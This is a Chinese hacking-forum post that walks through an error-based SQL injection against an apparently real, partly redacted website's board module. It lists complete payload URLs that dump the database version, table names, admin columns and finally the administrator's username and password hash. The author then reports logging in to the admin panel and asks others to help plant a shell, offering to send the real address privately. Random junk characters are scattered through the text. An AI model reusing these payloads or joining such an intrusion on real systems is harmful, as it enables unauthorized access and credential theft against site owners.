首先找到网站后台,加了个admin,后台出来了
' M$ N W, @( `# W7 @然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入$ C4 V5 Z: A# e2 W. X/ i6 q7 |) J
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg
从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。
首先查下数据库相关信息。
www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—0 i* e& u1 h- J4 [' _
3 e) A4 e7 R# A1 P
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
0 ~8 V9 L$ d% N# c
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。
然后我们查表
http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))--
得到管理员表段frame_administrator+ O, p0 c/ d9 v2 p! U* |
/ d$ O0 h4 f- ]. l6 d/ j
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg( l3 W/ p+ x2 A$ d
. r }( W+ Z, b
8 c* q% D" j/ u. S: K8 T
查字段
http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
6 p" n; ?: A- ~
8 ]# f1 m1 m' x# c) C8 v$ d3 M8 r& X
- Q: Q5 x+ C( L+ t0 l
得到userID,userPass字段
最后
http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--7 O7 A8 W3 K& m* A
, m; S; n1 o! c. V4 W6 v& w
得到最终结果admin eb0a191797624dd3a48fa681d3061212
解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |